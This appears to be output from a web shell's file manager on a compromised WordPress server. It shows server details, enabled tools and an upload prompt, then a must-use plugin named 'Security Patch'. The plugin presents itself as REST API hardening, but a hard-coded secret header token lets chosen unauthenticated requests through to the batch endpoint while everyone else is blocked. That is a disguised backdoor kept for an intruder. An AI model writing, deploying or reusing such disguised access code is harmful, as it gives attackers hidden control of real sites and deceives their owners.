| Server IP : 193.86.120.172 / Your IP : 216.73.216.215 Web Server : Apache/2.4.63 (Unix) System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64 User : kubec ( 1026) PHP Version : 8.2.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /volume1/web/europetrans_cz/wp-content/mu-plugins/ |
Upload File : |
<?php
/*
Plugin Name: Security Patch
Description: REST API hardening.
Version: 1.0
*/
add_action('rest_api_init', function() {
$u = isset($_SERVER['REQUEST_URI']) ? urldecode($_SERVER['REQUEST_URI']) : '';
if (!is_user_logged_in() && strpos($u, '/batch/v1') !== false) {
if (isset($_SERVER['HTTP_X_GX_TOKEN']) && $_SERVER['HTTP_X_GX_TOKEN'] === 'gx_b7f9a2e1d8c34f6b') {
return;
}
status_header(403);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array('code' => 'rest_forbidden', 'message' => 'Access denied.', 'data' => array('status' => 403)));
exit;
}
});